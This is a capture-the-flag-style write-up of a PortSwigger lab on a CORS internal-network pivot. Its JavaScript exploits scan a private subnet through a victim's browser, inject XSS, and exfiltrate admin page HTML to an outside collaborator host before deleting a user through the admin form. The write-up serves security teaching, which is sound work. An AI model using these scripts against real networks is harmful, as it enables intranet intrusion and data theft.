← Back to Writeups
PORTSWIGGERN/ACORS

CORS vulnerability with internal network pivot attack

XESXOR9/2/20265 min read
#cors#portswigger#web-security-academy

CORS vulnerability with internal network pivot attack

Platform: PortSwigger | Category: CORS | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, CORS

Summary

Walkthrough of the PortSwigger Web Security Academy lab CORS vulnerability with internal network pivot attack (CORS). This lab demonstrates a cors vulnerability and its exploitation to achieve the lab objectives.

Lab Overview

PortSwigger Web Security Academy — CORS

This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.

Lab Description :

image

Overview :

Intranets and CORS without credentials

Most CORS attacks rely on the presence of the response header:

Access-Control-Allow-Credentials: true

Without that header, the victim user's browser will refuse to send their cookies, meaning the attacker will only gain access to unauthenticated content, which they could just as easily access by browsing directly to the target website.

However, there is one common situation where an attacker can't access a website directly: when it's part of an organization's intranet, and located within private IP address space. Internal websites are often held to a lower security standard than external sites, enabling attackers to find vulnerabilities and gain further access. For example, a cross-origin request within a private network may be as follows:

GET /reader?url=doc1.pdf
Host: intranet.normal-website.com
Origin: https://normal-website.com

And the server responds with:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *

The application server is trusting resource requests from any origin without credentials. If users within the private IP address space access the public internet then a CORS-based attack can be performed from the external site that uses the victim's browser as a proxy for accessing intranet resources.

Solution :

Step 1 - Scan the localnetwork for the endpoint :

Use the following javascript code to scan the local network for the endpoint.

Local network - 192.168.0.0/24, port 8080

javascript
<script>
var q = [], collaboratorURL = 'http://egyk9bi1e8w0sehd0rv11l8gf7lx9m.oastify.com';

for(i=1;i<=255;i++) {
	q.push(function(url) {
		return function(wait) {
			fetchUrl(url, wait);
		}
	}('http://192.168.0.'+i+':8080'));
}

for(i=1;i<=20;i++){
	if(q.length)q.shift()(i*100);
}

function fetchUrl(url, wait) {
	var controller = new AbortController(), signal = controller.signal;
	fetch(url, {signal}).then(r => r.text().then(text => {
		location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now();
	}))
	.catch(e => {
		if(q.length) {
			q.shift()(wait);
		}
	});
	setTimeout(x => {
		controller.abort();
		if(q.length) {
			q.shift()(wait);
		}
	}, wait);
}
</script>

Store & Deliver the exploit to victim. Now if we go to our collaborator server, we can see that there are few DNS & HTTP requests been made to our server.

Inpecting one of the HTTP requests reveals the internal IP address with port 8080 which has the endpoint. - 192.168.0.226:8080

image

Step 2 - Test username parameter for XSS :

Now we should probe the username field for an XSS vulnerability.

Update the ip & collaborator server address in the below script.

javascript
<script>
function xss(url, text, vector) {
	location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}

function fetchUrl(url, collaboratorURL){
	fetch(url).then(r => r.text().then(text => {
		xss(url, text, '"><img src='+collaboratorURL+'?foundXSS=1>');
	}))
}

fetchUrl("http://192.168.0.226:8080", "http://axbi4rtdl0ahqci3jk0yilma81es2h.oastify.com");
</script>

Once the exploit is run successfully, we sould see a Collaborator interaction with foundXSS=1 in the URL.

image

Step 3 - Find source code of admin page

Update IP,port number & collaborator address

javascript
<script>
function xss(url, text, vector) {
	location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}

function fetchUrl(url, collaboratorURL){
	fetch(url).then(r=>r.text().then(text=>
	{
		xss(url, text, '"><iframe src=/admin onload="new Image().src=\''+collaboratorURL+'?code=\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">');
	}
	))
}

fetchUrl("http://192.168.0.226:8080", "http://2illbnma2eneorqiyhtdq5ady44usj.oastify.com");
</script>

Store & Deliver the exploit. If the exploit is successfull, we will get the source code of the admin page.

image

URL decoding it gives us the source code.

html

        <script src="/resources/labheader/js/labHeader.js"></script>
        <div id="academyLabHeader">
            <section class="academyLabBanner">
                <div class="container">
                    <div class="logo"></div>
                        <div class="title-container">
                            <h2>CORS vulnerability with internal network pivot attack</h2>
                            <a id="exploit-link" class="button" target="_blank" href="http://exploit-0a9600460324ec37844eef07012600ae.exploit-server.net">Go to exploit server</a>
                            <a class="link-back" href="https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack">
                                Back&nbsp;to&nbsp;lab&nbsp;description&nbsp;
                                <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 28 30" enable-background="new 0 0 28 30" xml:space="preserve" title="back-arrow">
                                    <g>
                                        <polygon points="1.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15"></polygon>
                                        <polygon points="14.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15"></polygon>
                                    </g>
                                </svg>
                            </a>
                        </div>
                        <div class="widgetcontainer-lab-status is-notsolved">
                            <span>LAB</span>
                            <p>Not solved</p>
                            <span class="lab-status-icon"></span>
                        </div>
                    </div>
                </section></div>
            
        
        <div theme="">
            <section class="maincontainer">
                <div class="container is-page">
                    <header class="navigation-header">
                        <section class="top-links">
                            <a href="/">Home</a><p>|</p>
                            <a href="/admin">Admin panel</a><p>|</p>
                            <a href="/my-account?id=administrator">My account</a><p>|</p>
                        </section>
                    </header>
                    <header class="notification-header">
                    </header>
                    <form style="margin-top: 1em" class="login-form" action="/admin/delete" method="POST">
                        <input required="" type="hidden" name="csrf" value="1KcxoeMy9RMMAF99jWL5LBLjnR4UC8on">
                        <label>Username</label>
                        <input required="" type="text" name="username">
                        <button class="button" type="submit">Delete user</button>
                    </form>
                </div>
            </section>
            <div class="footer-wrapper">
            </div>
        </div>

Step 4 -

From the source code, we can see that there's a form that allows us to delete a user.

html
<form style="margin-top: 1em" class="login-form" action="/admin/delete" method="POST">
    <input required="" type="hidden" name="csrf" value="1KcxoeMy9RMMAF99jWL5LBLjnR4UC8on">
    <label>Username</label>
    <input required="" type="text" name="username">
    <button class="button" type="submit">Delete user</button>
 </form>

So we create a javascript code that submits the form to delete carlos by injecting an iframe pointing to the /admin page.

Update IP, port & collaborator address.

javascript
<script>
function xss(url, text, vector) {
	location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}

function fetchUrl(url){
	fetch(url).then(r=>r.text().then(text=>
	{
	xss(url, text, '"><iframe src=/admin onload="var f=this.contentWindow.document.forms[0];if(f.username)f.username.value=\'carlos\',f.submit()">');
	}
	))
}

fetchUrl("http://192.168.0.226:8080");
</script>

If we submit this form in our exploit server & click Deliver exploit to victim.

The above code will fetch the internal ip address (http://192.168.0.226:8080) at the url /admin?username=carlosdelete the user carlos. & Thus we've solved the lab.

image

Key Takeaways / Lessons

  • Understanding CORS detection and exploitation is crucial for web security.
  • Always validate and sanitize user input; implement proper access controls.
  • This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.

Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: CORS vulnerability with internal network pivot attack